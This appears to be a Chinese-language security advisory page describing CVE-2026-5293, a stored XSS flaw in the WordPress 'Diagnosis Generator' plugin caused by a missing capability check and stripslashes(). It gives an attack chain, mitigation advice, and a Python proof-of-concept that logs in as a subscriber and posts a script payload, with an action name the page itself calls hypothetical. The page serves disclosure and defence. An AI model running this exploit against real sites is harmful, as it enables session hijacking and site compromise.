IPBUF安全漏洞报告
English
CVE-2026-5293 CVSS 6.4 中危

CVE-2026-5293 WordPress插件存储型XSS漏洞

披露日期: 2026-05-20

漏洞信息

漏洞编号
CVE-2026-5293
漏洞类型
存储型跨站脚本攻击 (Stored XSS)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WordPress Diagnosis Generator Plugin

相关标签

XSSStored XSSWordPressWordPress PluginAuthentication BypassCWE-79

漏洞概述

WordPress插件“Diagnosis Generator”(診断ジェネレータ作成プラグイン)在1.4.16及之前版本中存在严重的存储型跨站脚本(XSS)漏洞。该漏洞源于themeFunc()函数缺乏必要的授权检查和输入清理机制。由于该函数被挂载到admin_init钩子,它在处理主题更新请求时未验证用户能力,导致任何经过身份验证的用户(包括权限极低的订阅者)都可以将恶意JavaScript代码保存到主题文件中。此外,save()函数使用stripslashes()移除了WordPress的魔术引号保护,进一步加剧了风险。这使得攻击者可通过订阅者权限注入恶意脚本,在访问包含诊断表单短代码的页面时触发执行。

技术细节

该漏洞的核心技术问题在于插件对主题更新请求处理的安全缺陷。漏洞触发点位于`themeFunc()`函数,该函数通过`admin_init`钩子注册,这意味着在WordPress后台初始化时无需特定页面访问即可被调用。关键在于,该函数在处理通过'js'参数传递的数据时,仅依赖用户登录状态,而未检查特定的管理权限(如`edit_theme_options`)。因此,低权限用户即可利用此接口。此外,数据处理流程中的`save()`函数使用了`stripslashes()`,这一操作会抵消WordPress针对GPC数据(Get/Post/Cookie)的自动转义保护,使得攻击者构造的特殊字符能够绕过过滤。攻击者通过发送包含恶意JS代码的HTTP请求,将代码写入主题文件,当其他用户访问嵌入该插件短代码的前端页面时,恶意脚本将在浏览器端执行,实现窃取凭据或会话劫持。

攻击链分析

STEP 1
信息收集
攻击者识别目标WordPress站点是否安装了“Diagnosis Generator”插件及其版本。
STEP 2
获取访问权限
攻击者在目标站点注册一个低权限账户(如订阅者Subscriber),或利用已有的低权限凭证。
STEP 3
漏洞利用
攻击者构造包含恶意JavaScript代码的HTTP请求,发送至WordPress后台,利用themeFunc()函数缺失权限检查的缺陷,通过'js'参数将代码写入主题文件。
STEP 4
持久化与触发
恶意代码被持久化存储在服务器主题文件中。当管理员或普通用户访问包含受影响插件短代码(Shortcode)的页面时,恶意脚本自动加载并执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit Title: WordPress Diagnosis Generator <= 1.4.16 Stored XSS # Date: 2026-05-20 # Vulnerable Endpoint: Typically wp-admin/admin.php or hooked via admin_init target_url = "http://example.com/wp-admin/admin.php" login_url = "http://example.com/wp-login.php" # Attacker credentials (Subscriber level) username = "attacker" password = "password" # Malicious payload to be saved in theme files payload = "<script>alert('XSS - CVE-2026-5293');</script>" session = requests.Session() # 1. Authenticate as a low-privilege user login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": target_url } session.post(login_url, data=login_data) # 2. Send malicious request to trigger themeFunc() # The specific parameter 'js' is vulnerable as per description exploit_data = { "action": "update_theme", # Hypothetical action triggering the hook "js": payload } response = session.post(target_url, data=exploit_data) if response.status_code == 200: print("[+] Payload sent successfully. Check pages with the diagnosis form shortcode.") else: print("[-] Request failed.")

影响范围

Diagnosis Generator <= 1.4.16

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用该插件以阻断攻击链。同时,管理员应检查主题文件目录下是否存在异常的JavaScript文件或被篡改的代码片段。此外,可以通过服务器端配置规则,限制仅管理员IP地址可以访问/wp-admin/目录,从而降低低权限账户被利用的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表